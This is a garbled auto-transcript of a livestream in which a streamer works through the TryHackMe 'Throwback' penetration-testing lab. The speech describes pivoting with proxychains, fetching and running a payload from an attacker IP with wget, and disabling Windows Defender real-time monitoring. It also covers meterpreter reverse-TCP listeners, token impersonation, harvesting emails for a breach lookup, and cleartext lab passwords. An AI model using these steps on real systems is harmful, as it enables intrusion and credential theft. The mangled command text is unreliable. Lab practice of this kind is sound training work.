a thing, isn't it? That probably needs me to fill in a value And I probably just broke the shell with that f Exit Literally anything Please subscribe F in the chat All right, yeah Exiting that shell Resolve resolve The dns name Corp 80t01 Double f's Yeah, I guess ns lookup would actually do that. You're right.  I just need to get the actual address Will that work? How about my x-free rdp jam? I guess the dns server should be ourselves. Shouldn't it be? Or Here I this is a me on the uh, oh, that's true ping should totally work if it's actually a thing What's happening? What? Will you guys need an asmr stream? Yeah Uh, uh That still didn't have any output. You just tweaked out Why? Okay Evil win RM is just Broken How's uh, how's dc1 looking? Let's interact with session six Let's spawn a regular shell Let's ns lookup Please corp 80t01 on the original domain controller Well, I guess we can do our x-free rdp again. We did, um User We we need to proxy change this right we need to proxy chains into U Mercer h Yeah, I should put it on on corp honestly Just to just to like have it And have a shell that isn't garbage attack p pika Pikachu 7 on v 10 200 Uh 24 118 Yeah, I totally trust the certificate absolutely You know me okay Uh, that might just come in handy And actually I guess I can interact with a regular shell there too and not hate my life more than I already do here Let's ns lookup With 10 224 1117 as you suggested and then try that corp 80t01 Well that work We get anything Do we have a shell? Holy cow, you don't know the address I mean that makes sense. We should probably have specified 18 Or is it the other way around? Is server last Should we be doing it? Should we be doing corp 80t and then this our then our dns server that we want to specify?  Is that 10 224 118 It's probably just gonna keep hanging Oh, no, it's not it's definitely it's definitely the other way If we could just use ns lookup and like set it maybe we could see the computer Just use ping that's a good call. Why does that happen?  No, you're good I'm having fun It's got to be in our dns entry. So might as well just look Corp. 80t local is 243 That took longer than it needed to Watch dog mental. Thanks so much Excellent. I'm very I really appreciate you checking out the video I hope you've been enjoying all the fun agonizing pain that I've been going through So Corp 80t 01 is 10 224 243 And we can use the above credentials to log in Awesome. Thanks, Penham. I really appreciate you guys hanging out. I know like Wow six hours is a lot to deal with So, uh, I was like, I don't know why people would want to Thank you. I appreciate the fix right now. We're at hour five for today's dream. So Davies j proxy chains Yeah I uh, I'm I'm est. I'm eastern standard time. So it's one in the morning right now But it says this is the second monster of the night. So Mmm ssh is not having a good time Let's do our evil one RM tack I This bad boy and then tack you. Oh, am I really almost done like this feels kind of crazy Davies j right. Yeah And his password should be management 2018 Please work Please give me something Wait one gosh darn second Do I need a new route? on the corp domain controller? because Right now I'm still only proxying through the throwback dc That got me into corp's domain controller, but I need to be able to see everything else Which means that I'm gonna need. Yeah. Yeah. I need a proxy chains from the corporate dc We're having fun This is fantastic Well, at least at the very very least Let's Take advantage of this Sweet sweet rdp session that we have on that new box So Uh, not a shell is still a thing So in which case we can use our wget http 10 50 22 5 Port 8000 not a shell dot exe And then taco bring it down. We'll call it met Dot exe. I think I have a comma there. That was an accident It grabbed it Maybe It it pulled it down What just happened? No No antivirus You know what? You know what we can do We can use our mshta server Ha ha ha ha We're smarter than that We've got our little macros command here, which can mshta over to this ip address Which should still be running if I take a look at the jobs here. I've got that mshta server still kicking so Let's put our hands together and pray that this actually works I'm going to Drop. Yeah. Oh, yeah, I we actually literally turned off antivirus earlier. So I should I should have saved that command Stop Stop copying a space character No, no, no worries. We we totally could just turn off Antivirus and it was really cool when we did it earlier paste Do the thing delivering payload Will you get that server? Will you get that shell? Uh, should I have started a listener? Use multi handler set payload Windows meterpreter meterpreter preter reverse TCP Set lhost ton zero set l port 424224 is what we chose Oh, that's still kicking So when I ran that earlier did it not send it? Yeah. Oh, okay. It still triggers antivirus Let's turn that off What was the stinking command that we ran earlier? set mp Uh shoot I'm trying to tap complete here, but PowerShell's getting meffed up. Yeah, shut set mp preference uh, real time set mp preference real time monitoring Oh, no, no, no, no, it was set mp preference and then disable real time monitoring to be true Those are arguments, right? Sorry frantic frantic alt tab on 18 set mp preference real time monitoring That's disable real time monitoring set to true I should really amp up this text here. I'm sorry. I hope you guys can see that. Okay I don't have permission Excuse me Run this as administrator, please Then let's invoke PowerShell and let's set Let's make this a little bit bigger. Sorry. So you can see this Wonderful powerful command apparently Now I want to cdc Users dir And we were in Mercer h earlier when we downloaded this thing, didn't we? We do we have to w get it again 10 50 22 5 8000 Not a shell.exe. I cannot see what I'm typing met.exe Okay Now it exists And I don't I don't know if the execution policy Would have affected the antivirus because windows defender is what was triggering on this binary I need a dot slash met dot exe Please Oh shoot. I needed to start that that listener set l port 4141 run There we go There we go Okay, awesome. Okay, so now we're on 118 We need a proxy one more time So if I background and I use auto route What do we've got? We can set our command to print to see what sessions that we have routes set on Right now it's set to six, which is the original throwback domain controller But now we're going to move it over to the corporate one So that should be set to session seven, but we have to go ahead and remove the one that we have So let's set the command to delete And That's fine Now we can run that to delete it So the command to print just for a sanity check currently no routes set. So let's set our session to Seven and set the command to auto add so that when I run this Now I have a new session for him Which means I can now proxy change evil winter m over to davies And his password needs to be Management 2018 got it sweet missed a lot. How did you get domain admin? Uh We found The backup account that Had dc sync writes and That was able to Dump all the credentials on the domain controller And we found the local administrator H That Had a decent password that we could crack Uh, nice. How did you get the memo about backup? I think there were some files back Uh, some time ago that that would that kind of turned us on to it. Yeah Yeah backup account and then magic we just kind of said hocus pocus and suddenly we rooted everything I don't I I'm kidding. I I'm teasing Identity theft is not a joke Oh, we're gonna do some impersonation stuff now. Okay Now that you have your foothold onto corp 80 t 01 your team has suggested escalating privileges by numerating privileges Looking for tokens on the system Similar to web cookies tokens are temporary keys. All right. We got to get metterpter on this guy now Whoo, we're having fun. We're having fun in the sun Um, let's turn off windows defender immediately Actually, am I in Am I local admin? net user What net user Who am I? Do I not have an account on here?  What's up, everybody? Can you hear me? Okay. Are we back? Are we back in action? I don't even know what happened there Sweet sweet. I'm glad everyone's still with me. Thanks so much for hanging out. You guys are fantastic I looked over at obs and like the the streaming icon was not on anymore, but it was still recording I'm like, what just happened. Why did this? Why did this one of this die? So You didn't miss anything. You literally didn't I didn't do anything. I just saw your thing and I was like, uh The the stream is suddenly off not not good So now we're gonna count three streams This counts as an extra stream Whatever Do I have permission to turn off windows defender currently? I can run scripts, which is cool. Can I set an mp preference? To uh disable real-time monitoring To true I can okay fantastic. So with that, let's go ahead and download our Little not a shell shell. Uh, that is 10 Uh 50 22.5 on Port a thousand not a shell dot exe and we'll save it as met dot exe cool Now that's downloaded and I can see met dot exe is present So if I were to dot slash met dot exe Let me go back and actually make sure that I'm gonna listen So let me use multi handler Uh, I'll show options one last time to make sure everything is still set looks good Let's run that listener fire it off and there we go got one more meterpreter session on 243 So I can I don't know what session i'm in right now because two of them pop. So let me interact strictly with eight And excuse me sessions with an s plural incredible Now I could use the incognito module and see what tokens are available to me There is a room in this there. There is I think some post exploitation stuff that try hack me showcases for this sort of thing But this will be kind of cool a little exercise to play with it. So Let's load incognito And then let's try and list tokens It looks like I can specify By username. So I'll use list tokens tack you I'm not currently running a system so Do I need to be I don't think so. It says now that you have a foothold. You're good After getting meterpreter shall the target you could just load it and try to impersonate some tokens Do we have anything interesting? We could impersonate This individual All right, so if we have that impersonation token We could impersonate With that syntax that I just saw impersonate token And then I'll supply that Will it do it successfully impersonated user that user So am I like just that person now? I I am okay Incredible what is the file on the administrator's documents folder? No one told me that I needed to go into that Administrator documents server. Sissy. How's it going? My session on the dc died Okay, great, let's get to see Oh, yeah, would I just be able to like get system now with this user probably? Incredible Thanks Thanks, jaximus Let's cd to the that the other um Where am I right now? Excuse me I'm okay. I'm bumping around with throwback Seriously, where am I right now? Can I get to users? Yeah, okay That was weird Does this not have an administrator page? Whatever Um, what's on on the desktop right there root dot text Heck yeah Let me just take note of this one real quick We have so many so many sublime text windows open right now. Oh my lord so Oh, let me put that in the flag submission panel because we're so close What is the user flag? We don't have that yet, but we do have the root flag. So that's 20 Let's get 19 I'm just going to take that code real quick I know let's go find that We were in as davies j earlier. So I have a feeling davies j is where we're going to end up finding that user dir user dot text. All right. Awesome user dot text Whoa, whoa, try to copy paste All right okay Now I need to Actually see the file on the administrator's documents folder. Okay, so we know that the administrator was Dossier dossier, okay Great and they said the documents folder. So let me hop in there and I see an email update Let's check that out Nice I am going to steal this very very quickly Email update dot text on corp 80 t01 Cool Email underscore update dot text who wrote the email it was Karen dossier What is her official title and the company she is the human relations consultant And submit the flags Done and done. Okay. Let me actually read that email before I just steamroll right over it Hey team. Hope you guys are having a good day as all of you are probably aware Now we are transferring to our new email service as we transition Please get the new emails provided to you as well as the default credentials that can be found within your emails. Oh Please do not get these emails outside of the corporate as they contain sensitive information The new email format is based on what department you're in Okay In order to access your email, you need to go to the mail dot corporate local as we get our servers moved over If you not already have Mail on corporate at local site in your host file, please do that Feel free to email me with any questions. Oh, gotcha So this is the structure of their email with their name and the department We have a decent listing of some of the potential Departments there so Okay Hello Friends that are joining now. I appreciate you coming to hang out I realized we dumped into a uh, we jumped into an extra An extra stream because the other one kind of crashed on me for some reason so From the email on corp 80 t01 and we know that we have corporate emails being moved to a new email format Yeah, dude. Jackson is we can absolutely finish this today. How many we got left? Three Oh, let's do it It's only one. It's only one in the morning Oh, thank you. Yeah, I can never remember I can never remember where the host file is on On windows either using linkedin along elite linked we can pull Names and emails from linkedin to format with namely An insert into breach or gtfo Okay, oscent with linkedin overview linkedin since its creation has represented an incredibly valuable vector for information gathering After all, who would have imagined that people would just post their company structure job overview and work history publicly online If we just ask them kindly when I personally perform recon dark I typically visit linkedin through my second stage of oscent typically following initial automated phase Where I gather any emails that are publicly available once that is done We know the format of our target uses for email. We can journey on a linkedin and scrape names who expand our email list We'll dive into this further with elite linked uh Sorry Jackson, this is saying I didn't add the stuff to et cetera host and check them out So this is why it's not clear what you're currently doing Uh What session died? Oh the dc again, whatever What the mail server is two three two, isn't it that they specified that earlier? We saw The previous email So I guess I'm confused what extra what new email server there is There are two websites Oh It's a virtual host I follow Uh Thank you Okay What would you guys see that Georgia? Incredible pseudo nano et cetera the hosts so 242 Or 213 What was that? What was the original? 232 232 should be mail dot corporate dot local corporate Okay So Let's go to that with our socks proxy And we need to Ideally have credentials did We see credentials already You say there is another website. I'm very confused reach thingy.  Oh, you're right. You're right. You're right. I'm sorry I follow breach dot gtfo.local I follow Okay, I I guess I completely missed that that was A virtual host routing thing I should I should go to breach gtfo local Nice Okay Thank you Did I have credentials That I'm completely overlooking as well Maybe not I think that's why I need to uh Corporate emails are moving to an email format We also know that we have a propriety breached Credential service that we utilize to find credentials in the network Gotcha Lead linked as a tool developed by spooky and horschark Automate discovery of company employees linked in accounts by discovering all the employees an organization has This can be an incredibly useful for password spraying phishing or any other targeted attack Built in it has a feature to generate emails based off of a given format Which you can use to password spray fish or look up emails on the data breach The optional tag p flag if you like utilizes have I been pwn's api to query each email Enumerate which data breaches the victim has been a part of the output is stored within a spreadsheet That can be easily converted into a table and sorted and organized Okay Let's go Grab that tool if that's where all the cool kids are going whoa CD opt Get clone CD lead linked Hello That's a capital lead linked And let's install everything that this requires Pulling info from linked linked in with lead linked Lead linked is a linked in recon tool utilized by Finding employees at a company using search engines like google and bang If you have a have I been pwned api key You can also tell you what data breach is the user has been involved with with the separate section for specific password data breach That's cool It also does it with de hashed. Ooh Using the tool is easy. There are several required arguments arguments though e for the email domain For example gmail.com. So in our case, we're going to be using tbh security.com So if I were to just run python 3 lead linked Does it run? Okay. It does great. So e email domain tbh security.com Um, and what else did we need here? tack f which serves the email format email format Oh And there's an example of what those look like here So let me do a little tack h Generates emails based on various formats one equals j smith two equals john smith et cetera, et cetera, et cetera We know that the format is going to look like First initial last name. So that would be one Okay, so e tbh security f1 um We also need the company name So I guess throwback hacks Timeout for searching it has a default jitter has a default safe Only parts names with company title reduces false positives. I'm not worried about that right now tack p requires that api key. I think that's all we need Lastly a positional argument of the company name you're trying to search for is required. Okay, so we're doing that Probably just fine Let's Do it Lead linked Okay I guess that just happened then We'll not elicit this thing and see if that got anything Was it gonna output anything else or is it just got oh, okay. Okay. No, it just got a lot of stuff and Slick dude that was rapid fire fast Are you sure you didn't just cash that is that hard coded in If you give it these specific arguments it spits out this stuff Dang, yeah, I guess we're doing more excel Really Wow, okay Yeah, this is a lot This that's okay, though Looks like we've got a lot to work with I like the force blower case that makes me feel pretty leet Sweet Oh, there are only three employees on like then What happened? I mean realistically these are the only ones that we kind of like saw earlier, didn't we Should I should I remove those? Should I do those false positives?  Yeah firefox.  How did I forget? What do you think should we finish this thing? What uh, what all do we have left? Realistically, we probably have to get everything back again Uh Yeah, yeah, good. I'm glad everyone had some had some time to update their LinkedIn account Go ahead and send me a LinkedIn request if you want Um, um Let's connect to the vpn again So, uh, for those of you that might have been watching the video or uh, or are just now catching up My machine crashed Is really funny. It was me opening up the throwback security Uh It was me as it was looking at their LinkedIn company page And as soon as I open up dark stars page my machine dies So I could move my mouse and I could uh Move my mouse, but that was about it I saw um Like my face just like fade out to gray over on the obs screen I'm like, oh no So We've got Elite linked over here and we've got our throwback Script stuff Did we create a copy or did we move the other one because when I ran it with hack s for safe Uh, don't don't don't bother recovering stuff. Yeah. Okay. Cool. This only found three So these must be the only real ones that we found. Yeah, the video will definitely be uploaded to youtube It'll take me like forever to render all this, but that's totally fine. So We'll deal if you guys want to catch this video after the fact you can absolutely see it Uh on youtube All right next section is lost and found now that we have a list of emails from linkedin We can format them into a custom word list with the email format We got from corp adc zero one and put them into a breach credential service in case of throwbacks The internal breach credential server Slick So introduction to data breaches at the time of writing have I been pwned is a ginormous collection with a collection of over 10 billion Breach user accounts as well as 473 total breached websites This is an alarmingly high number but can offer a lot to an attacker looking to get an easy win Data breaches can confirm many things not just if the user has been hacked But it also confirms that an email account actually exists This is arguably more valuable than a password You can use this information in combination with phishing to gain some really easy wins within an organization For this next exercise, we have set up a breach credential lookup service called breach or gtfo A fake service within the network that is modeled after de-hashed a paid breach credential service so We can be using namely namely as a template based email wordless generation tool that can also be used for domain Do amin user wordless developed by orial It takes the nameless and a domain name or multiple domain names and generates a wordless around the two of them Namely can also take custom template keys in order to customize the wordless to your needs All right, let's go ahead and grab namely Uh, I don't need to sudo get clone. What the what? Why is that a sudo? That's weird to me Why is everything sudo? Insert the names that should be formatted by example. Okay Um We do have a breach Gtfo right. Yeah breach gtfo.local That's still a page we could use Um And we should put together a list of what we were looking at so throwback scraped has rica fox summer winters and john stewart This page suggests us to create a names dot text and they should be formatted Just like that. So okay, let me hop back to a proper directory in ctf try hack me throwback and suble tbh security names dot text and i'm going to Apparently no longer have in my clipboard the names that I wanted to have Totally fine. Yeah, I don't care about your recovery stuff. Let's just grab These slap them in rica summer john And I don't need these tabs here Okay, that's kind of it. It looks like super duper simple and That's all Okay Then they use namely with the names that we created domain of throwback security.com and using the template format that You can specify and they're all in hre We would need to Do that I feel like a couple more times because we aren't positive what Uh Department they might be in This is we could try it But to generate more complex user word list we can use tack tf to specify a template file Oh, no, and then they mentioned the etc host. Maybe this should be a little bit earlier. I don't know So in breacher gtfo you can enter the email address of the user Oh, and this is absolutely How can I read? How can I still access this? I'm control f-ing right now.  You're totally right. You're I'm sorry. I thought I was really freaked out I was like did I need to be pivoted like how is that working? No, that's just the regular dot two three two thing. I think that we saw earlier or Whichever two thirteen whatever whatever one that it was so You could specify emails. What is the user's email who has been affected by the data breach? What is the user's password? Well, we don't have a lot of options in this case So let's go ahead and make those names here and uh Work with it. Let's do it so In the directory where we have put our names We can run opt Namely Name name. Did I not get that thing? Where did I put this? Oh, I put namely in my leak leak link to the page. That's funny So now let's run opt namely That location with the tbh security names dot text the domain name is tbh security and It will generate those With hre, uh, there were other sections though so emails dot text Yeah, I feel like I want to change that to also include esm fin And all those other ones We could run it one more time if we really really wanted to But let's just take all this and Put it there with the different values Um, we need fin for finance and it s probably like it security And then sec maybe that's security Okay Done and done Now we have all those and I guess we could just try these on the web page I guess we could kind of do this manually if we really really wanted to it looks like that's kind of what they expected So we'll slap that in Nothing for him Yeah, honestly, you didn't exactly need a python script for for that thing As our winters, that's fine. How about j steward? Can we get dark star? No Do uh, we ever actually find a Do do do we find a breach at some point? Realistically, this is the thing we could probably have a python script for I'm just going to be like rapid fire Control c control v all tabbing around What what was that? Which one was that? Yeah, we could just probably use w first And that's a that's a pretty good point. It's literally a uh It's it's literally a htp get variable. So What the f? Okay, the very very last one that I got Totally fine We got it. So sec j steward is the one slap that guy in there Users password is that What credentials could be found? what J steward and that right what Uh What could be oh, oh, oh, oh, oh, I need to go into his email now Is that right? Yeah. Yeah. Yeah. I follow I follow mail dot corporate dot local And he is that Sec j steward there. Do I need the user? I mean, I guess yeah, it's just his username not the email address Do I need to be proxied for this thing to work or something? Because I'm not getting a response right now. I need the sec thingy What the hell's what do you mean the sec thingy?  What you fools I understand. I got you But do I need do I need their full email address? Yeah I thought I wouldn't need that Please There we go We got bowjack horsemen in here Wow Wait, let me steal this email real quick. This has uh This is really devolved Like you could see me just slapping files into my my directory TV sec guest and welcome TV sec cool Submit recon flags here. Alrighty. There were some linkedin flags that I needed to get That I didn't earlier corporate mail server There's a flag on linkedin linkedin.com Was it company TBH security was there a hyphen in there? Yeah, maybe TBH hyphen security Yeah throwback hacks. Thanks. Thanks Thank you. I appreciate you chat Well, even that doesn't seem right Is it just a plus? That's it. Thanks The time of the machine Yeah, no worries. No worries. We're good. There is there Where might there be a flag in here? It's got to be on there folks There it is Can I send a friend request to all these people? Time for my computer to crash by simply opening linkedin apparently I'm sending you a request We're gonna be friends Just don't go to dark stars. Yeah, I I switched over to the tab and so far I'm okay Um flag on linkedin We got to close out some of these tabs, dude. We're this is going crazy Okay, let's get back to the original read me and ctf try hack me throwback I don't need this cool chrome anymore That was flag on linkedin, which is number 22 There we go What is the flag in the source code breached gtfo? Did I not see a flag there earlier? Or did I even look at that? Some weirds going on with the with the formatting there What is that? Is that because of this thing? Yeah Whatever Breach gtfo.local is there a tbh? Should it have been when I found the J steward account sec J steward at tbhsecurity.com Is that the one that has a Now that's now that's loading. What the network?  It didn't do it Good call The network said no more Well, this is good I don't feel so bad because I know I'm gonna have to re uh Yeah, now we now we can kick back I know I'm gonna have to reconnect to literally everything Oh, I'm really excited to get that certificate. It'll be kind of fun submit flags Was there another one that I needed over in part four? Yeah, honestly if we just Get the handler ready. That's a good call Use exploit. I don't even need to type exploit multi handler And then we will set lhost to be ton zero. We are connected to it. Yes, we are. Okay Set l port. It was four one four one set payload Windows meterpreter reverse shell tcp run Let's see if we'll get no callbacks What other flags that we need to supply? Oh, we need to the we need the source code Once breached gtfo comes back. It might be a little bit and work is running, right and work is running Can I ping production? I cannot ping production Does it still need time? probably Okay, good. I didn't want to make sure I had like any duplicate vpn connections or anything crazy wonky I want to be able to see that come through Machine just not on at the moment Now work up time two minutes. Yeah, I guess we can just kind of keep waiting Yeah, yeah, give it five minutes for sure Uh, I will use this opportunity to Take a quick break I really appreciate all you guys that are still sticking with me because we're so so close to the end right now And uh, it'll be kind of cool to wrap it all up Give me just a give me just a quick quick second. What should we do for our our be right back? What should what should we do we could do we could you see matrix? I feel like see matrix is a little bit too easy We could do a Low cat.  Thanks. Jackson is absolutely I think yeah, I think we're gonna be done with this pretty soon. So Thanks so much for hanging out. Thanks so much for all your help. This has been a lot of fun for me I hope I hope you were uh Comfortable chilling having out Thanks, narf. Yeah, I understood. I understood what you meant now I am weirded out that It still isn't Getting any responses Yeah, should I just bounce that open vpn? Yeah more came to help pretty soon I think so Especially if we're getting into the the fun of twitch I'm really grateful that you guys are all wanting to hang out And I like that we can kind of be cool and casual. Yeah I mean, I feel like it would just wouldn't respond We should still be able to see something. Wouldn't we not? What is the what's the firewall? What's that pf sends box he should respond right 138 try the breach website wtf Right, come on. Alrighty. I said I would take a break. Um Give me just a second To go take a break stand by Sorry As it's just as you come in. Hey, hi, I don't take a quick break. Sorry one sec. Yo Jump it back in. Let's uh Try to finish this up. Was it one one three eight It's a firewall Seriously, nothing is responding currently the network's been up for a while now But it's not currently seeing anything and this is weirding me out try the breach one more time. You think? Bro, shouldn't you be teaching? Why are you trying to go to https? Yeah Well, see now it's just trying to load you gave I gave him a task. Don't worry All right, http http is still not doing it. That was just cached Something's funky I didn't mean I don't mean for us to trip over this like last piece This is really upsetting. I'm really sorry like we we're so close to the end Why is going on should I like regenerate my vpn certificate? I feel like that's kind of all I got left right now It's running Multiple vpn sessions. I can I can do another pkill. I got no extra devices Yeah, man, I'm just I'm gonna regenerate that cert honestly or that that that certificate Cuz I'm weirded out that I'm not getting anything right now When I know that I should give me just a give me just a quick sec It thinks I'm connected Yeah, so it's going http. Oh, did it go back? What the heck? Let me just try and curl this thing Nothing It should be able to reach that so I'm worried if I have to regenerate my certificate It's gonna give me like a whole nother ip address though and then Then up my callbacks will work and I'll have to redo everything Should I restart the network because it says I'm connected. I'll just bounce it I guess Why did two people have to vote? It's my network I have to wait another hour Oh, really? I did not know that okay Try the firewall to see if it's up 10 224 138 Not that Still nothing It's it's way broke right now. I way broke it f I'm bummed Ask a mod On the discord. I don't know if any mods are gonna be awake right now Your pink said no route to house. Maybe net stat tech around to see your routes Should I I don't know if I want to bug? net stat attack rn Oh, I have two No, that's fine What's the what's the oh, oh, what's the ooh for?   Am I am I stepping over something? No, no Yeah, it seems fine I can ping the gateway Super lame Smoke me's responding Cool name Yeah Firewall went rip 224 138 Nothing from the firewall smoke me's going Smoke me a mod Oh goodness, I appreciate appreciate the assist I see skitty online, but yeah, I don't want to bug him. He's He's king dude. He's got his crown Am I getting pings right now? I am the smoke me Excellent What are the odds if I regenerate my cert? My vpn connection. What are the odds that it completely kills? My ip address. I don't know if that'll do it Restart any kind of network services You add zero nine fours typing Oh I follow Can we join the same room and I'll vote to reset it? Yeah, whoever of you is in a throwback Please help Please help For those of you poor souls that are watching the video on youtube And I'm speaking this in the future or so and if you ever do see this Uh I'm truly sorry skip ahead I'm so close to the end Oh, yeah, can someone go back and add all the timestamps of this bad boy that'd be incredible Literally the last task Oh, I wow Thanks so much My name is in here Thank you That's kind of surreal. I'm really grateful My beta testing was connecting to the vpn and seeing if it worked and it worked then Oh shoot, we're gonna do rubius and star killer crap I gotta read. I gotta rebuild all that This picture makes me uncomfortable by the way. I know what he's doing Yeah, everything always works in development not in production Orpheus bumped a ping the skiddy Oh Yo Help help us reach the finish line That's so funny Yeah, remember how I told you to keep them on a separate terminal and have it open Yep, and then my computer crashed Wait non-skiddy Or if you're like, I ain't scared I feel so bad like I just am scrolling aimlessly and I have nothing to do This is really crippling. I'm not gonna lie Jump on cough while we're waiting Restart your pc so you can have your sixth stream Oh shoot Yeah, we could take a look at uh hanging out stream I appreciate you guys We're uh We're almost done with the second monster here How am I going to edit this video? Am I going to edit this video? Imagine if clients firewall crashing when you're doing a pentas Yeah Relabel stream to hangout stream Where we look at this picture of a dog Doing his thing It's an experience. I don't think you should edit. Well. Yeah, that's a fair point. Okay I can do nothing I can do Literally nothing Damn, this really sucks Resetting all network related stuff so service Restart Yeah, show me all my potential Possible network services that I could be running Oreo bite. Hey brother How's it going? I'm doing good However, I am uh Struggling to uh You're tired. Yeah, it's kind of late I don't know. I don't know what time it is over where you are, but it's like 2 30 in the morning right now so At least on my side I'm struggling to uh Do some fun stuff with my throwback network and it's Tough because we're like the very very last task Krillik and I don't have reset perms. Unfortunately. How could this happen to me? I like to we make this like a try hack me emergency everyone help john with his network You don't have to you have to sing the whole song. No, no, no Add a route to the linux routing table. So I took a look at my routes, right? So we got what is it net stat tack rn Uh my ton zero interface has got a route to like its own gateway To get into the rest of the network and that's a thing that exists I can I can I can jam with that right if I go to 224 which is my subnet and then that firewall 138 I get a good hole nothing Yeah, that's really the only line that it actually matters in that song If I were to do a good old curl Try to reach that boy. He's got he's also got nothing. I think my firewall It's kind of crapped out Jackson says look at discord bro. There's a lot of there's a lot of discord going on right I can toss over my connection pack for dot seven and start and extend the network a couple of hours But no guarantee I'll be awake Is the port open with nmap? What no I I I cannot reach it.  Is it trace rt or the full command trace route? Oh god No I mean I'll do it just for Just to make you all happy I'll run the trace route command After I install a thousand ruby packages for some reason tracer t Network all the things network all the things I'm kidding.  Okay I'm grateful I suppose Thank you. I will download this and I will Use my poor man This is this for throwback. Is this for your throwback network though? Is it normally it has that throwback it has a the throwback suffix hyphen throwback What is your third oct? It's on dot five Oh boy Okay I probably didn't I probably didn't need to do that on that terminal I am now 10 50 dot 3 dot 2 Redo everything 200 dot 5 dot 138 There's a firewall.  Let's do it So I need to get All the way back So I need access on You have passwords so ssh. Yeah I have passwords for WS 01 Or prod. I could just get to prod.  So he was 10 205 219 That was peter's j With throwback 317 As his password Or is it throwback 319? Oh god I don't remember anything It's like it's all falling apart now Now I need to do a quick recap Throwback 317 Pretty sure that's it But it was peter's j No, that's not a command you should run So CMD We don't need Anything other than this proxy So Let's Hop over to my Miterpreter Section And start up an HTTP server Python.mhgp.server So my new IP address As I reconnect to Literally everything Is This guy So let's start MSF console In one pane I'll switch that to be the Regular prompt and I'll make this My MSF console Black, there we go And We need to get over to this guy And we need to run PowerShell Let's make this A little bit bigger so you guys can See it I realize this text is very very tiny And that's no good on your eyes So let's Make this 1050.3.2 8000 Naughtoshell.exe And bring that to Met.exe I need to recreate this whole Stinking thing Oh boy Yep Yep MSF Venom We need to create a new one MSF Venom Meturper Reverse TCP L host equals My ton zero L port So I don't forget at least that I am not Currently using Tmux For those that are asking Let's make that an executable And let's redirect it to new.exe Thanks It's going to take me a little bit And I feel really really bummed You guys had to deal with all that nonsense But you know what? We'll work with it So let's use multi-handler Let's set L host to ton zero Let's set this payload To Windows Reverse Reverse TCP Set L port 4141 And just let that bad boy go So now let's start this server Yet again Let's get back over here And Just to verify My execution policy I can do what I want, great And I'm using Terminator to split my screen Let's set MPP I'm probably not the admin But Let's make ourselves the admin So let's go ahead and run as user Or What is it? It was save cred And User Admin's Admin Peter's J To Profile CMD.exe What was his password again? He didn't We didn't have a Peter's J Peter's J There we go, okay Properties Now let's do some power shell And CD into C Windows Peter's J, get back to our normal spot Sorry, CDC users Peter's J Now let's set MP preference To turn off Real-time auditing just in case it is Disable Real-time monitoring Set that to true And now let's W get HTTP CD3 to 8000 New.exe to Omet.exe It should download it, we do have Met.exe Let's run that .slash Met.exe, before I do I want to make sure That that shell is running and it is Great, so now I can .slash Met.exe And I should get metropic recession running Fantastic Okay, now let's go to the background And use auto route Okay Let's set Session 1 And set subnet to 10 200.50 Slash 24 And then run that Let's also search for that socks for a Sorry You're probably giving me things To Do And I'm just like blaring along I don't mean to be Not following through Now let's get on the domain controller So XfreeRDP To User MercerH Password throwback 2020 And v10 205.117 Sorry, it's tag U Yep, I totally trust that Uh Was I wrong In that regard Gosh, I feel like I'm trying to remember everything Oh yeah, I did get his password. I'm sorry I totally had that Pika Pika, thank you Goodness I am falling apart Pikachu Seven There we go I don't know if I really want to open that one I'll be honest It doesn't matter, but the GUI might just Make me trip on stupid things So I don't want to I have no idea why you guys are sticking with me We're just retracing our steps Frustrated John Well, I definitely have this command And grain into my head now So that's a plus I now know how to turn off Real-time monitoring all the time On a Windows 10 machine So Where's met.exe Oh shoot Shoot You're totally right, I'm sorry I just saw your chat that I got that wrong As Windows Defender was like Nope, no more interpreter Thank you I literally say that as I was Saying Oh yeah, I totally know how to run this command And clearly I fudge that up too Where's met I just downloaded you Okay Great background Now let's Use auto route Once again Before I go through all this, I'm sorry I should be checking out that Breach GTFO local And this should Oh, I need to update my et cetera Hosts now So much to change And my DC connection Died What the heck So this is now 5 and 5 Breach GTFO.local Should that Still come back I feel like that should come back At this point, HTTP Why are you redirecting me Stop redirecting me We're going to stinking chrome On this GTFO.local There we go Okay, Stuart At Tbhsecurity.com Give me that Please have a flag here There we go Oh my gosh Go all the way back And submit that Okay, okay, okay, okay We're almost done, we're on our Not our second wind, but like our seventh wind Right now So let's keep cruising And the interpreter had died On Our DC So let's get that back What's happening Is that why we migrated Like immediately It's still killing my Met.exe So I probably need to run that F Use multi handler Run Go, go, go Okay, migrate, tag in Windlogon.exe It's a race Windows Defender can't stop us now We did it We're safe for now Now let us Background and use auto route Once again Auto route Dude, auto route? Yeah, I'd buy that Show options Set cmd to delete Run Set cmd to auto add And set cmd Sorry, set session To three Which is the current one Excuse me, why did that not work Windows Defender kills Windlogon.exe I'm sorry That made me laugh harder than it should have That's awesome Print Run Session one, why are you still doing that thing Set cmd to delete Set session one Delete Oh god, the stupid Set subnet Crap again 10, 200, 5, 0 Now do it Set cmd print And now it's gone Set cmd to auto add And then Set session to three Which should still be alive Great Now Let's do yet another free rdp There's a lot of stuff going on dudes Proxychains Which we can still go through X Free rdp Tag U, Mercer H Tag P, Pika Pika Pickachu7 10, 200 5, 118 To get me to Corp Now we got new creds Oh yeah, we can just go straight to that We don't need to bother Well corp80t Is that Or this is for the mail server Is it not? What's this mail? Maybe I'm confused You may not have access to your area Could count while getting a few days In the meantime you're able to use the guest account You can access the account with the following credentials This guest account will be heavily monitored And it'll be activated as soon as your account is up and running Which, what is that new server that I'm just missing? Is that on Our domain that I'm just not Parsing? It's on the map It's on the map Door of the explorer It's on the map Tbsecdc101 and we know that is dot 79 Okay So we still needed to pivot And to get into corp dc01 So I think I still need My proxy chains Through dc01 I don't think I'm crazy in setting that up Am I? Oh god X free rdp This guy I feel like I still need to get a shell on this Or a proper proxy Through this This is like a race To reach the end I'm 50 50.3.2 For 8000 New.exe I need to actually Put that somewhere Let me cd2cusers Mercer j Mercer h, sorry And now run that wget command And Make an interpreter Good Okay, use multi handler Run dot slash met.exe Hello I was a typo, please don't die Thank you met.exe New session Let's migrate ASAP again Just in case this thing dies, winlogon.exe Winlogon is always 708 man Great Now he is safe momentarily Let's use auto route yet again Set cmd To delete Did it screw up my subnet? No it didn't Okay So Run Set cmd to print Run, no routes Set cmd, what sessions do I have? Session 4 is the current one all the way through corp So Set session to 4 Set cmd to auto add And go Okay, incredible Now I should be able to go reach dot 7 9 I have credentials On a guest account Correct And Is that going to be a web mail server? It said here You can use the guest account Let me do a quick end map scan on that Really cool Because I don't exactly know what that box is End map Tag v 10, 205, 79 And Is that something that I can literally RDP into though? Proxychains XfreeRDP I'll just 